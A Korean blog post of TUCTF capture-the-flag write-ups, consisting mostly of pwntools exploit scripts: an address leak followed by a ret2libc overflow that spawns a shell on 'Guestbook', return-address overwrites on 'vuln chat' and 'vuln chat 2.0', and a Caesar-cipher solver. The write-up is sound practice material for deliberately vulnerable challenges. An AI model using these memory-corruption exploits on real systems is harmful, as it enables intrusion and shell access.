Guestbook
read - 6번에서 dest 부터 시작해서 다 릭이 가능함 -> heap 주소, system 주소 , libc , binsh 릭 가능
그리고
write - 6번에서 또 dest 부터 다 쓰기가 가능함 -> ㅈㅈ
from pwn import *
p = remote("guestbook.tuctf.com", 4545)
#p = process("./guestbook")
context.log_level = 'debug'
p.sendline("adsf")
p.sendline("qwer")
p.sendline("zvcx")
p.sendline("sdfg")
p.sendline("1")
p.recvuntil("Which entry do you want to view?\n>>>")
p.sendline("6")
heap = list()
for i in range(4):
heap.append(u32(p.recv(4)[0:]))
p.recv(4) # junk
system = u32(p.recv(4)[0:])
for i in heap:
print "[Leak-heap] : 0x%x" % i
print "[Leak-system] : 0x%x" % system
libc_base = system - 0x003E3E0
binsh = libc_base + 0x015F551
print "[Libc_base] : 0x%x" % libc_base
print "[BINSH] : 0x%x" % binsh
pay = "A"*48 + p32(system) + "ABCD" + p32(binsh)
p.sendline("2")
p.sendline('6')
p.sendline(pay)
p.sendline('3')
p.interactive()
근데 heap 주소도 릭되서 굳이 libc 안쓰고 heap에다가 /bin/sh 쓰고 해도 된다.
from pwn import *
#p = remote("guestbook.tuctf.com", 4545)
p = process("./guestbook")
context.log_level = 'debug'
p.sendline("/bin/sh")
p.sendline("qwer")
p.sendline("zvcx")
p.sendline("sdfg")
p.sendline("1")
p.recvuntil("Which entry do you want to view?\n>>>")
p.sendline("6")
heap = list()
for i in range(4):
heap.append(u32(p.recv(4)[0:]))
p.recv(4) # junk
system = u32(p.recv(4)[0:])
for i in heap:
print "[Leak-heap] : 0x%x" % i
print "[Leak-system] : 0x%x" % system
libc_base = system - 0x003E3E0
binsh = libc_base + 0x015F551
print "[Libc_base] : 0x%x" % libc_base
print "[BINSH] : 0x%x" % binsh
pay = "A"*48 + p32(system) + "ABCD" + p32(heap[0])
p.sendline("2")
p.sendline('6')
p.sendline(pay)
p.sendline('3')
p.interactive()
vuln chat
p = remote("vulnchat.tuctf.com", 4141)
#p = process("vuln-chat")
context.log_level='debug'
p.sendline('a'*20 + p32(0x73303825))
p.send('q'+p32(0x804856B)*0x40)
print p.recvuntil("Use it wisely")
vuln chat 2.0
vuln chat 보다 훨배쉬움 그냥 ret이 하위 2바이트만 덮임. 그러니 플래그 읽는 함수 하위 2바이트만 넣어주면 됨.
from pwn import *
p = remote("vulnchat2.tuctf.com", 4242)
#p = process("vuln-chat2.0")
context.log_level='debug'
p.sendline('a'*15)
sleep(1)
p.sendline('b'*(0x2d-2) + "\x72\x86")
print p.recvuntil("Don't let anyone get ahold of this")
Never ending crypto
그냥 시저암호가 간격만 다르게 50번 동안 나온다. 별거 없다.
from pwn import *
import string
p = remote("neverending.tuctf.com", 12345)
context.log_level = 'debug'
while True:
key = 'a'
p.sendline(key)
p.recvuntil("encrypted is ")
enc = p.recvline()
print "[ENC] %s" %enc
p.recvuntil("What is ")
cry = p.recvline()
cry = cry[:cry.find(" decrypted?")].rstrip()
print "[CRY] %s" % cry
res = list()
for i in range(0,len(key)):
res.append(ord(enc[i]) - ord(key[i]))
print res
dap = list()
for i in range(0,len(cry)):
if((ord(cry[i]) - res[0]) >= 127):
dap.append(chr((ord(cry[i]) - res[0])-95))
elif((ord(cry[i]) - res[0]) <= 31):
dap.append(chr((ord(cry[i]) - res[0])+95))
else:
dap.append(chr((ord(cry[i]) - res[0])))
print dap
p.sendline(''.join(dap))
sleep(1)
print p.recv(2048)
print p.recv(2048)
그 외 웹2개도 풀었는데 너무 쉬워서 패스,,,
'CTF Writeup' 카테고리의 다른 글
[ROOT] Write up (0) | 2017.12.24 |
---|---|
[SECCON] writeup (0) | 2017.12.10 |
ubuntu ctf write up (0) | 2017.11.06 |
[Cyber-guardians] 본선 write up (0) | 2017.11.02 |
[화이트해커리그] Write up (0) | 2017.11.01 |